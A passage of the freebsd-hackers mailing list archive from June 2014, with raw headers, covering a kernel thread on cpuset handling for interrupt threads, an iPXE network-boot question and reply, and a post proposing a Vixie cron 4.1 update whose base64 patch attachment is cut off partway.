freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 12 Jun 2014 09:25:33 -0000 On 12.06.2014 07:57, Julian Elischer wrote: > On 6/12/14, 12:52 AM, Alexander V. Chernikov wrote: >> On 09.06.2014 21:43, John Baldwin wrote: >>> On Friday, June 06, 2014 6:09:13 pm Alexander V. Chernikov wrote: >>>> On 06.06.2014 01:04, Alexander V. Chernikov wrote: >>>>> On 05.06.2014 23:59, John Baldwin wrote: >>>>>> On Thursday, June 05, 2014 3:46:15 pm Alexander V. Chernikov wrote: >>>>>>> On 05.06.2014 18:09, John Baldwin wrote: >>>>>>>> On Wednesday, June 04, 2014 3:16:59 pm Alexander V. Chernikov >>>>>>>> wrote: >>>>>>>>> On 04.06.2014 19:06, John Baldwin wrote: >>>>>>>>>> On Monday, June 02, 2014 12:48:50 pm Konstantin Belousov wrote: >>>>>>>>>>> On Mon, Jun 02, 2014 at 06:52:10PM +0400, Alexander V. >>>>>>>>>>> Chernikov wrote: >>>>>>>>>>>> Hello list! >>>>>>>>>>>> >>>>>>>>>>>> Currently init(8) uses group 1 which is root group. >>>>>>>>>>>> Modifications of this group affects both kernel and >>>>>>>>>>>> userland threads. >>>>>>>>>>>> Additionally, such modifications are impossible, for >>>>>>>>>>>> example, in >>>>>>>> presence >>>>>>>>>>>> of multi-queue NIC drivers (like igb or ixgbe) which binds >>>>>>>>>>>> their >>>>>> threads >>>>>>>>>> to >>>>>>>>>>>> particular cpus. >>>>>>>>>>>> >>>>>>>>>>>> Proposed change ("init_cpuset" loader tunable) permits >>>>>>>>>>>> changing cpu >>>>>>>>>>>> masks for >>>>>>>>>>>> userland more easily. Restricting user processes to migrate >>>>>>>>>>>> to/from >>>>>> CPU >>>>>>>>>>>> cores >>>>>>>>>>>> used for network traffic processing is one of the cases. >>>>>>>>>>>> >>>>>>>>>>>> Phabricator: https://phabric.freebsd.org/D141 (the same >>>>>>>>>>>> version >>>>>> attached >>>>>>>>>>>> inline) >>>>>>>>>>>> >>>>>>>>>>>> If there are no objections, I'll commit this next week. >>>>>>>>>>> Why is the tunable needed ? >>>>>>>>>> Because some people already depend on doing 'cpuset -l 0 -s >>>>>>>>>> 1'. It is >>>>>>>> also >>>>>>>>>> documented in our manpages that processes start in cpuset 1 >>>>>>>>>> by default >>>>>> so >>>>>>>>>> that you can use 'cpuset -l 0 -s 1' to move all processes, etc. >>>>>>>>>> >>>>>>>>>> For the stated problem (bound ithreads in drivers), I would >>>>>>>>>> actually >>>>>> like >>>>>>>> to >>>>>>>>>> fix ithreads that are bound to a specific CPU to create a >>>>>>>>>> different >>>>>> cpuset >>>>>>>>>> instead so they don't conflict with set 1. >>>>>>>>> Yes, this seem to be much better approach. >>>>>>>>> Please take a look on the new patch (here or in the phabricator). >>>>>>>>> Comments: >>>>>>>>> >>>>>>>>> Use different approach for modifyable root set: >>>>>>>>> >>>>>>>>> * Make sets in 0..15 internal >>>>>>>>> * Define CPUSET_SET1 & CPUSET_ITHREAD in that range >>>>>>>>> * Add cpuset_lookup_builtin() to retrieve such cpu sets by id >>>>>>>>> * Create additional root set for ithreads >>>>>>>>> * Use this set in ithread_create() >>>>>>>>> * Change intr_setaffinity() to use cpuset_iroot (do we >>>>>>>>> really need >>>>>> this)? >>>>>>>>> We can probably do the same for kprocs, but I'm unsure if we >>>>>>>>> really need >>>>>> it. >>>>>>>> I imagined something a bit simpler. Just create a new set in >>>>>> intr_event_bind >>>>>>>> and bind the ithread to the new set. No need to have more >>>>>>>> magic set ids, >>>>>> etc. >>>>>>> Well, we also have userland which can modify given changes via >>>>>>> `cpuset >>>>>>> -x', so we need to be able to add some more logic on set >>>>>>> allocation/keeping. Additionally, we can try to do the same via >>>>>>> `cpuset >>>>>>> -t', so introducing something like cpuset_setIthread() and >>>>>>> hooking into >>>>>>> intr_event_bind() won't probably be enough. At least I can't >>>>>>> think out a >>>>>>> quick and easy way to do this. >>>>>> cpuset -x calls intr_event_bind(). If you just do it there you >>>>>> fix both >>>>>> places. >>>> Yup. I was wrong. This version seems to be simpler while doing the >>>> right >>>> thing. >>> Hmm, I do think this patch is doing the right thing, but I'm worried >>> you >>> might have weird effects, e.g. I worry that because the 'intr' proc >>> is in >>> set 1 still, the thread masks will be (incorrectly) checked when >>> changing >> Well, as far as I understand we don't have any cpu sets bound to >> program ("pid" search returns set of first thread). >> Anyway, each original ithread mask is released via cpuset_rel() so >> I'm a bit unsure about remaining thread masks. >> Playing with cpuset and ixgbe driver, does not reveal given problem: >> >> 12:59 [0] test15# cpuset -g -s 1 >> cpuset 1 mask: 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, >> 16, 17, 18, 19, 20, 21, 22, 23 >> 13:00 [0] test15# kldload ixgbe >> 13:00 [0] test15# vmstat -i | grep ix >> irq263: ix0:que 0 116 0 >> irq264: ix0:que 1 108 0 >> irq265: ix0:que 2 108 0 >> irq266: ix0:que 3 108 0 >> irq267: ix0:que 4 108 0 >> irq268: ix0:que 5 108 0 >> irq269: ix0:que 6 108 0 >> irq270: ix0:que 7 108 0 >> ... >> 13:00 [0] test15# cpuset -g -x 263 >> irq 263 mask: 0 >> 13:00 [0] test15# cpuset -g -x 264 >> irq 264 mask: 1 >> 13:00 [0] test15# cpuset -l 21,22,23 -s 1 >> 13:01 [0] test15# cpuset -g -s 1 >> cpuset 1 mask: 21, 22, 23 >> 13:01 [0] test15# cpuset -g -x 263 >> irq 263 mask: 0 >> 13:01 [0] test15# cpuset -g -x 264 >> irq 264 mask: 1 >> 13:01 [0] test15# cpuset -l 12 -x 264 >> 13:01 [0] test15# cpuset -g -x 264 >> irq 264 mask: 12 >> 13:01 [0] test15# cpuset -l 22,23 -s 1 >> 13:01 [0] test15# echo $? >> 0 >> 13:01 [0] test15# cpuset -g -x 264 >> irq 264 mask: 12 >> 13:01 [0] test15# cpuset -g -s 1 >> cpuset 1 mask: 22, 23 >> >> >>> set 1 and you still won't be able to 'cpuset -l 0 -s 1'. >>> >>> Also, strictly speaking, it would probably be best to return threads to >>> set 1 when NOCPU is passed to intr_event_bind() to unbind an interrupt. >> Yup. > > in a quick look I didn't see anywhere that checked if the old set and > new set are the same set.. Well, checking if old cpu _mask_ is the same as old one hasn't been implemented for any other object type inside cpuset. Additionally, intr_event_bind() is usually called once per irq, so the benefit for that particular object type is questionable. >> >> >> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to"freebsd-hackers-unsubscribe@freebsd.org" > > > From owner-freebsd-hackers@FreeBSD.ORG Thu Jun 12 14:50:32 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 259C9C5E for ; Thu, 12 Jun 2014 14:50:32 +0000 (UTC) Received: from kabab.cs.huji.ac.il (kabab.cs.huji.ac.il [132.65.116.12]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id D0F532503 for ; Thu, 12 Jun 2014 14:50:31 +0000 (UTC) Received: from th-04.cs.huji.ac.il ([132.65.80.125]) by kabab.cs.huji.ac.il with esmtp id 1Wv69M-00039f-Cy for hackers@freebsd.org; Thu, 12 Jun 2014 17:38:44 +0300 From: Daniel Braniss Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Subject: iPXE booting latest PCengines alu board Message-Id: <9D14C4BD-8A13-43FC-ACDA-0315A58CEBC6@cs.huji.ac.il> Date: Thu, 12 Jun 2014 17:38:36 +0300 To: hackers@freebsd.org Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) X-Mailer: Apple Mail (2.1878.2) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 12 Jun 2014 14:50:32 -0000 Hi all, while I try to learn about iPXE, I am wondering if someone already managed to boot FreeBSD via the network, else it=92s going to be an interesting weekend :-) thanks, danny From owner-freebsd-hackers@FreeBSD.ORG Thu Jun 12 15:26:58 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6C86DA71 for ; Thu, 12 Jun 2014 15:26:58 +0000 (UTC) Received: from smarthost1.sentex.ca (smarthost1.sentex.ca [IPv6:2607:f3e0:0:1::12]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client CN "smarthost.sentex.ca", Issuer "smarthost.sentex.ca" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 35E0D286E for ; Thu, 12 Jun 2014 15:26:58 +0000 (UTC) Received: from [IPv6:2607:f3e0:0:4:f025:8813:7603:7e4a] (saphire3.sentex.ca [IPv6:2607:f3e0:0:4:f025:8813:7603:7e4a]) by smarthost1.sentex.ca (8.14.9/8.14.9) with ESMTP id s5CFQRxH075953; Thu, 12 Jun 2014 11:26:28 -0400 (EDT) (envelope-from mike@sentex.net) Message-ID: <5399C6A0.9010506@sentex.net> Date: Thu, 12 Jun 2014 11:26:24 -0400 From: Mike Tancsa Organization: Sentex Communications User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: Daniel Braniss , hackers@freebsd.org Subject: Re: iPXE booting latest PCengines alu board References: <9D14C4BD-8A13-43FC-ACDA-0315A58CEBC6@cs.huji.ac.il> In-Reply-To: <9D14C4BD-8A13-43FC-ACDA-0315A58CEBC6@cs.huji.ac.il> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 8bit X-Scanned-By: MIMEDefang 2.74 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 12 Jun 2014 15:26:58 -0000 On 6/12/2014 10:38 AM, Daniel Braniss wrote: > Hi all, > while I try to learn about iPXE, I am wondering if someone already > managed to boot FreeBSD via the network, else it’s going to be an > interesting weekend :-) If you mean http://www.pcengines.ch/apu.htm, just make sure you are booting a relatively recent FreeBSD version (newer than April I think). Otherwise, it boots just fine like any other bit of hardware over the network. ---Mike -- ------------------- Mike Tancsa, tel +1 519 651 3400 Sentex Communications, mike@sentex.net Providing Internet services since 1994 www.sentex.net Cambridge, Ontario Canada http://www.tancsa.com/ From owner-freebsd-hackers@FreeBSD.ORG Thu Jun 12 06:56:44 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 975E7735 for ; Thu, 12 Jun 2014 06:56:44 +0000 (UTC) Received: from mail-oa0-x22e.google.com (mail-oa0-x22e.google.com [IPv6:2607:f8b0:4003:c02::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 250EF27AC for ; Thu, 12 Jun 2014 06:56:44 +0000 (UTC) Received: by mail-oa0-f46.google.com with SMTP id m1so900100oag.33 for ; Wed, 11 Jun 2014 23:56:43 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=mU5Sla4ThICErNTvzffFTpq+cpZ4wKQR1SWbPMoYfa0=; b=Xp0tBD67jzIIzn7mnChioPf1hj51KnCJEvj9sLZvqd7ha0UEaaMETqXekbL8eVl9RN bA8txGkWVILOKnxvDlFjhGwAP4INqkJAR14vVSvQ6Jdq6jKZWMll/jaTeJ6qmYUjcsBS VsDpeWYdQOjXY/SlO0V4+6P50hdmxMynMuHMucScyEBSiKNzRpu9X4YNfhgVMNUQHuzH f+YeaO25U05KbfgmXx8shpNCTAJ+eiKEVajd2ErrEARN1cgMU9FbvPjzhTfb9eN+bKEw qi1Bhcrtr+Bqvp+IdZJQkvac59Aa5tMLXBTB1HSlRrkkQNwDayQ3O/2j9obmF6RsgdEx cLAw== MIME-Version: 1.0 X-Received: by 10.182.84.138 with SMTP id z10mr20679419oby.71.1402556203151; Wed, 11 Jun 2014 23:56:43 -0700 (PDT) Received: by 10.76.154.8 with HTTP; Wed, 11 Jun 2014 23:56:43 -0700 (PDT) Date: Thu, 12 Jun 2014 08:56:43 +0200 Message-ID: Subject: Improve cron(8) From: =?UTF-8?Q?Tomek_Wa=C5=82aszek?= To: freebsd-hackers@freebsd.org Content-Type: multipart/mixed; boundary=089e0111c08a47d11f04fb9e10f8 X-Mailman-Approved-At: Thu, 12 Jun 2014 16:12:26 +0000 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 12 Jun 2014 06:56:44 -0000 --089e0111c08a47d11f04fb9e10f8 Content-Type: text/plain; charset=UTF-8 Hello, I saw on the FreeBSD Ideas page topic about cron :). I've started updating the 'original' FreeBSD cron from sources to vixi cron 4.1. I think (well I hope :P) most of the features that were done in FreeBSD cron are now ported into vixi cron 4.1, there are unfortunately some missing features at the moment: - @every_second - this need to be done - -s and -o, in vixi cron 4.1 daylight time switches are enabled by default, at the moment there is no -s and -o options. So you need to remove '-s' from the cron rc script I've also added one feature from OpenBSD, crontab is poking cron using unix-domain socket so we don't need to have suid on crontab. Path is in the attachment. I'm testing it on my FreeBSD box and it looks good but anyway don't try it on production machines :). After the installation we have to do a few things: - Add crontab group - Change group to crontab on /var/cron/tabs - Add sticky bit on /var/cron/tabs - Add group write permissions on /var/cron/tabs This is still work in progress but if someone could have a look on this and give me some feedback it would be great. Regards, Tomasz Walaszek --089e0111c08a47d11f04fb9e10f8 Content-Type: application/octet-stream; name=vixi_patch Content-Disposition: attachment; filename=vixi_patch Content-Transfer-Encoding: base64 X-Attachment-Id: f_hwbtjuwi0 ZGlmZiAtcnVOIC91c3Ivc3JjL3Vzci5zYmluL2Nyb24vTWFrZWZpbGUgZnJlZWJzZF9jcm9uL01h a2VmaWxlCi0tLSAvdXNyL3NyYy91c3Iuc2Jpbi9jcm9uL01ha2VmaWxlCTIwMTQtMDEtMTYgMjE6 NDM6NDkuMDAwMDAwMDAwICswMTAwCisrKyBmcmVlYnNkX2Nyb24vTWFrZWZpbGUJMjAxNC0wNi0x MSAxNjo0Mjo1NS4yNzE0NDQ4OTMgKzAyMDAKQEAgLTEsNCArMSw0IEBACi0jICRGcmVlQlNEOiBy ZWxlYXNlLzEwLjAuMC91c3Iuc2Jpbi9jcm9uL01ha2VmaWxlIDgwMDI5IDIwMDEtMDctMjAgMDY6 MjA6MzJaIG9icmllbiAkCisjICRGcmVlQlNEOiByZWxlbmcvMTAuMC91c3Iuc2Jpbi9jcm9uL01h a2VmaWxlIDgwMDI5IDIwMDEtMDctMjAgMDY6MjA6MzJaIG9icmllbiAkCiAKIFNVQkRJUj0JbGli IGNyb24gY3JvbnRhYgogCmRpZmYgLXJ1TiAvdXNyL3NyYy91c3Iuc2Jpbi9jcm9uL01ha2VmaWxl LmluYyBmcmVlYnNkX2Nyb24vTWFrZWZpbGUuaW5jCi0tLSAvdXNyL3NyYy91c3Iuc2Jpbi9jcm9u L01ha2VmaWxlLmluYwkyMDE0LTAxLTE2IDIxOjQzOjUwLjAwMDAwMDAwMCArMDEwMAorKysgZnJl ZWJzZF9jcm9uL01ha2VmaWxlLmluYwkyMDE0LTA2LTExIDE2OjQyOjU1LjI3MTQ0NDg5MyArMDIw MApAQCAtMSw0ICsxLDQgQEAKLSMgJEZyZWVCU0Q6IHJlbGVhc2UvMTAuMC4wL3Vzci5zYmluL2Ny b24vTWFrZWZpbGUuaW5jIDE0NzIyNSAyMDA1LTA2LTEwIDA2OjEyOjUzWiBkZXMgJAorIyAkRnJl ZUJTRDogcmVsZW5nLzEwLjAvdXNyLnNiaW4vY3Jvbi9NYWtlZmlsZS5pbmMgMTQ3MjI1IDIwMDUt MDYtMTAgMDY6MTI6NTNaIGRlcyAkCiAKIExJQkNST049ICR7Lk9CSkRJUn0vLi4vbGliL2xpYmNy b24uYQogCmRpZmYgLXJ1TiAvdXNyL3NyYy91c3Iuc2Jpbi9jcm9uL2Nyb24vTWFrZWZpbGUgZnJl ZWJzZF9jcm9uL2Nyb24vTWFrZWZpbGUKLS0tIC91c3Ivc3JjL3Vzci5zYmluL2Nyb24vY3Jvbi9N YWtlZmlsZQkyMDE0LTAxLTE2IDIxOjQzOjQ5LjAwMDAwMDAwMCArMDEwMAorKysgZnJlZWJzZF9j cm9uL2Nyb24vTWFrZWZpbGUJMjAxNC0wNi0xMSAxNjo0Mjo1NS4yNzE0NDQ4OTMgKzAyMDAKQEAg LTEsNCArMSw0IEBACi0jICRGcmVlQlNEOiByZWxlYXNlLzEwLjAuMC91c3Iuc2Jpbi9jcm9uL2Ny b24vTWFrZWZpbGUgMjAxMzkwIDIwMTAtMDEtMDIgMTE6MDc6NDRaIGVkICQKKyMgJEZyZWVCU0Q6 IHJlbGVuZy8xMC4wL3Vzci5zYmluL2Nyb24vY3Jvbi9NYWtlZmlsZSAyMDEzOTAgMjAxMC0wMS0w MiAxMTowNzo0NFogZWQgJAogCiBQUk9HPQljcm9uCiBNQU49CWNyb24uOApkaWZmIC1ydU4gL3Vz ci9zcmMvdXNyLnNiaW4vY3Jvbi9jcm9uL2NvbXBhdC5oIGZyZWVic2RfY3Jvbi9jcm9uL2NvbXBh dC5oCi0tLSAvdXNyL3NyYy91c3Iuc2Jpbi9jcm9uL2Nyb24vY29tcGF0LmgJMjAxNC0wMS0xNiAy MTo0Mzo0OS4wMDAwMDAwMDAgKzAxMDAKKysrIGZyZWVic2RfY3Jvbi9jcm9uL2NvbXBhdC5oCTE5 NzAtMDEtMDEgMDE6MDA6MDAuMDAwMDAwMDAwICswMTAwCkBAIC0xLDE0MCArMCwwIEBACi0vKiBD b3B5cmlnaHQgMTk5MywxOTk0IGJ5IFBhdWwgVml4aWUKLSAqIEFsbCByaWdodHMgcmVzZXJ2ZWQK LSAqCi0gKiBEaXN0cmlidXRlIGZyZWVseSwgZXhjZXB0OiBkb24ndCByZW1vdmUgbXkgbmFtZSBm cm9tIHRoZSBzb3VyY2Ugb3IKLSAqIGRvY3VtZW50YXRpb24gKGRvbid0IHRha2UgY3JlZGl0IGZv ciBteSB3b3JrKSwgbWFyayB5b3VyIGNoYW5nZXMgKGRvbid0Ci0gKiBnZXQgbWUgYmxhbWVkIGZv ciB5b3VyIHBvc3NpYmxlIGJ1Z3MpLCBkb24ndCBhbHRlciBvciByZW1vdmUgdGhpcwotICogbm90 aWNlLiAgTWF5IGJlIHNvbGQgaWYgYnVpbGRhYmxlIHNvdXJjZSBpcyBwcm92aWRlZCB0byBidXll ci4gIE5vCi0gKiB3YXJyYW50ZWUgb2YgYW55IGtpbmQsIGV4cHJlc3Mgb3IgaW1wbGllZCwgaXMg aW5jbHVkZWQgd2l0aCB0aGlzCi0gKiBzb2Z0d2FyZTsgdXNlIGF0IHlvdXIgb3duIHJpc2ssIHJl c3BvbnNpYmlsaXR5IGZvciBkYW1hZ2VzIChpZiBhbnkpIHRvCi0gKiBhbnlvbmUgcmVzdWx0aW5n IGZyb20gdGhlIHVzZSBvZiB0aGlzIHNvZnR3YXJlIHJlc3RzIGVudGlyZWx5IHdpdGggdGhlCi0g KiB1c2VyLgotICoKLSAqIFNlbmQgYnVnIHJlcG9ydHMsIGJ1ZyBmaXhlcywgZW5oYW5jZW1lbnRz LCByZXF1ZXN0cywgZmxhbWVzLCBldGMuLCBhbmQKLSAqIEknbGwgdHJ5IHRvIGtlZXAgYSB2ZXJz aW9uIHVwIHRvIGRhdGUuICBJIGNhbiBiZSByZWFjaGVkIGFzIGZvbGxvd3M6Ci0gKiBQYXVsIFZp eGllICAgICAgICAgIDxwYXVsQHZpeC5jb20+ICAgICAgICAgIHV1bmV0IWRlY3dybCF2aXhpZSFw YXVsCi0gKi8KLQotLyoKLSAqICRGcmVlQlNEOiByZWxlYXNlLzEwLjAuMC91c3Iuc2Jpbi9jcm9u L2Nyb24vY29tcGF0LmggNTA0NzkgMTk5OS0wOC0yOCAwMTozNTo1OVogcGV0ZXIgJAotICovCi0K LSNpZm5kZWYgX19QCi0jIGlmZGVmIF9fU1REQ19fCi0jICBkZWZpbmUgX19QKHgpIHgKLSMgZWxz ZQotIyAgZGVmaW5lIF9fUCh4KSAoKQotIyAgZGVmaW5lIGNvbnN0Ci0jIGVuZGlmCi0jZW5kaWYK LQotI2lmIGRlZmluZWQoVU5JWFBDKSB8fCBkZWZpbmVkKHVuaXhwYykKLSMgZGVmaW5lIFVOSVhQ QyAxCi0jIGRlZmluZSBBVFQgMQotI2VuZGlmCi0KLSNpZiBkZWZpbmVkKGhwdXgpIHx8IGRlZmlu ZWQoX2hwdXgpIHx8IGRlZmluZWQoX19ocHV4KQotIyBkZWZpbmUgSFBVWCAxCi0jIGRlZmluZSBz ZXRldWlkKGUpIHNldHJlc3VpZCgtMSxlLC0xKQotIyBkZWZpbmUgc2V0cmV1aWQocixlKQlzZXRy ZXN1aWQocixlLC0xKQotI2VuZGlmCi0KLSNpZiBkZWZpbmVkKF9JQk1SMikKLSMgZGVmaW5lIEFJ WCAxCi0jZW5kaWYKLQotI2lmIGRlZmluZWQoX19jb252ZXhfXykKLSMgZGVmaW5lIENPTlZFWCAx Ci0jZW5kaWYKLQotI2lmIGRlZmluZWQoc2dpKSB8fCBkZWZpbmVkKF9zZ2kpIHx8IGRlZmluZWQo X19zZ2kpCi0jIGRlZmluZSBJUklYIDEKLS8qIElSSVggNCBoZHJzIGFyZSBicm9rZW46IG9uZSBj YW5ub3QgI2luY2x1ZGUgYm90aCA8c3RkaW8uaD4KLSAqIGFuZCA8c3RkbGliLmg+IGJlY2F1c2Ug dGhleSBkaXNhZ3JlZSBvbiBzeXN0ZW0oKSwgcGVycm9yKCkuCi0gKiBUaGVyZWZvcmUgd2UgbXVz dCB6YXAgdGhlICJjb25zdCIga2V5d29yZCBCRUZPUkUgaW5jbHVkaW5nCi0gKiBlaXRoZXIgb2Yg dGhlbS4KLSAqLwotIyBkZWZpbmUgY29uc3QKLSNlbmRpZgotCi0jaWYgZGVmaW5lZChfVU5JQ09T KQotIyBkZWZpbmUgVU5JQ09TIDEKLSNlbmRpZgotCi0jaWZuZGVmIFBPU0lYCi0jIGlmIChCU0Qg Pj0gMTk5MTAzKSB8fCBkZWZpbmVkKF9fbGludXgpIHx8IGRlZmluZWQodWx0cml4KSB8fCBkZWZp bmVkKEFJWCkgfHxcCi0JZGVmaW5lZChIUFVYKSB8fCBkZWZpbmVkKENPTlZFWCkgfHwgZGVmaW5l ZChJUklYKQotIyAgZGVmaW5lIFBPU0lYCi0jIGVuZGlmCi0jZW5kaWYKLQotI2lmbmRlZiBCU0QK LSMgaWYgZGVmaW5lZCh1bHRyaXgpCi0jICBkZWZpbmUgQlNEIDE5ODkwMgotIyBlbmRpZgotI2Vu ZGlmCi0KLS8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKi8KLQotI2lmICFkZWZpbmVkKEJTRCkgJiYgIWRlZmluZWQoSFBVWCkg JiYgIWRlZmluZWQoQ09OVkVYKSAmJiAhZGVmaW5lZChfX2xpbnV4KQotIyBkZWZpbmUgTkVFRF9W Rk9SSwotI2VuZGlmCi0KLSNpZiAoIWRlZmluZWQoQlNEKSB8fCAoQlNEIDwgMTk4OTAyKSkgJiYg IWRlZmluZWQoX19saW51eCkgJiYgXAotCSFkZWZpbmVkKElSSVgpICYmICFkZWZpbmVkKE5lWFQp ICYmICFkZWZpbmVkKEhQVVgpCi0jIGRlZmluZSBORUVEX1NUUkNBU0VDTVAKLSNlbmRpZgotCi0j aWYgKCFkZWZpbmVkKEJTRCkgfHwgKEJTRCA8IDE5ODkxMSkpICYmICFkZWZpbmVkKF9fbGludXgp ICYmXAotCSFkZWZpbmVkKElSSVgpICYmICFkZWZpbmVkKFVOSUNPUykgJiYgIWRlZmluZWQoSFBV WCkKLSMgZGVmaW5lIE5FRURfU1RSRFVQCi0jZW5kaWYKLQotI2lmICghZGVmaW5lZChCU0QpIHx8 IChCU0QgPCAxOTg5MTEpKSAmJiAhZGVmaW5lZChQT1NJWCkgJiYgIWRlZmluZWQoTmVYVCkKLSMg ZGVmaW5lIE5FRURfU1RSRVJST1IKLSNlbmRpZgotCi0jaWYgZGVmaW5lZChIUFVYKSB8fCBkZWZp bmVkKEFJWCkgfHwgZGVmaW5lZChVTklYUEMpCi0jIGRlZmluZSBORUVEX0ZMT0NLCi0jZW5kaWYK LQotI2lmbmRlZiBQT1NJWAotIyBkZWZpbmUgTkVFRF9TRVRTSUQKLSNlbmRpZgotCi0jaWYgKGRl ZmluZWQoUE9TSVgpICYmICFkZWZpbmVkKEJTRCkpICYmICFkZWZpbmVkKF9fbGludXgpCi0jIGRl ZmluZSBORUVEX0dFVERUQUJMRVNJWkUKLSNlbmRpZgotCi0jaWZkZWYgUE9TSVgKLSNpbmNsdWRl IDx1bmlzdGQuaD4KLSNpZmRlZiBfUE9TSVhfU0FWRURfSURTCi0jIGRlZmluZSBIQVZFX1NBVkVE X1VJRFMKLSNlbmRpZgotI2VuZGlmCi0KLSNpZiAhZGVmaW5lZChBVFQpICYmICFkZWZpbmVkKF9f bGludXgpICYmICFkZWZpbmVkKElSSVgpICYmICFkZWZpbmVkKFVOSUNPUykKLSMgZGVmaW5lIFVT RV9TSUdDSExECi0jZW5kaWYKLQotI2lmICFkZWZpbmVkKEFJWCkgJiYgIWRlZmluZWQoVU5JQ09T KQotIyBkZWZpbmUgU1lTX1RJTUVfSCAxCi0jZWxzZQotIyBkZWZpbmUgU1lTX1RJTUVfSCAwCi0j ZW5kaWYKLQotI2lmIGRlZmluZWQoQlNEKSAmJiAhZGVmaW5lZChQT1NJWCkKLSMgZGVmaW5lIFVT RV9VVElNRVMKLSNlbmRpZgotCi0jaWYgZGVmaW5lZChBSVgpIHx8IGRlZmluZWQoSFBVWCkgfHwg ZGVmaW5lZChJUklYKQotIyBkZWZpbmUgTkVFRF9TRVRFTlYKLSNlbmRpZgotCi0jaWYgIWRlZmlu ZWQoVU5JQ09TKSAmJiAhZGVmaW5lZChVTklYUEMpCi0jIGRlZmluZSBIQVNfRkNIT1dOCi0jZW5k aWYKLQotI2lmICFkZWZpbmVkKFVOSUNPUykgJiYgIWRlZmluZWQoVU5JWFBDKQotIyBkZWZpbmUg SEFTX0ZDSE1PRAotI2VuZGlmCmRpZmYgLXJ1TiAvdXNyL3NyYy91c3Iuc2Jpbi9jcm9uL2Nyb24v Y29uZmlnLmggZnJlZWJzZF9jcm9uL2Nyb24vY29uZmlnLmgKLS0tIC91c3Ivc3JjL3Vzci5zYmlu L2Nyb24vY3Jvbi9jb25maWcuaAkyMDE0LTAxLTE2IDIxOjQzOjQ5LjAwMDAwMDAwMCArMDEwMAor KysgZnJlZWJzZF9jcm9uL2Nyb24vY29uZmlnLmgJMjAxNC0wNi0xMSAxNjo0Mjo1NS4yNzE0NDQ4 OTMgKzAyMDAKQEAgLTEsMjkgKzEsMjkgQEAKIC8qIENvcHlyaWdodCAxOTg4LDE5OTAsMTk5Mywx OTk0IGJ5IFBhdWwgVml4aWUKICAqIEFsbCByaWdodHMgcmVzZXJ2ZWQKKyAqLworCisvKgorICog Q29weXJpZ2h0IChjKSAyMDA0IGJ5IEludGVybmV0IFN5c3RlbXMgQ29uc29ydGl1bSwgSW5jLiAo IklTQyIpCisgKiBDb3B5cmlnaHQgKGMpIDE5OTcsMjAwMCBieSBJbnRlcm5ldCBTb2Z0d2FyZSBD b25zb3J0aXVtLCBJbmMuCiAgKgotICogRGlzdHJpYnV0ZSBmcmVlbHksIGV4Y2VwdDogZG9uJ3Qg cmVtb3ZlIG15IG5hbWUgZnJvbSB0aGUgc291cmNlIG9yCi0gKiBkb2N1bWVudGF0aW9uIChkb24n dCB0YWtlIGNyZWRpdCBmb3IgbXkgd29yayksIG1hcmsgeW91ciBjaGFuZ2VzIChkb24ndAotICog Z2V0IG1lIGJsYW1lZCBmb3IgeW91ciBwb3NzaWJsZSBidWdzKSwgZG9uJ3QgYWx0ZXIgb3IgcmVt b3ZlIHRoaXMKLSAqIG5vdGljZS4gIE1heSBiZSBzb2xkIGlmIGJ1aWxkYWJsZSBzb3VyY2UgaXMg cHJvdmlkZWQgdG8gYnV5ZXIuICBObwotICogd2FycmFudGVlIG9mIGFueSBraW5kLCBleHByZXNz IG9yIGltcGxpZWQsIGlzIGluY2x1ZGVkIHdpdGggdGhpcwotICogc29mdHdhcmU7IHVzZSBhdCB5 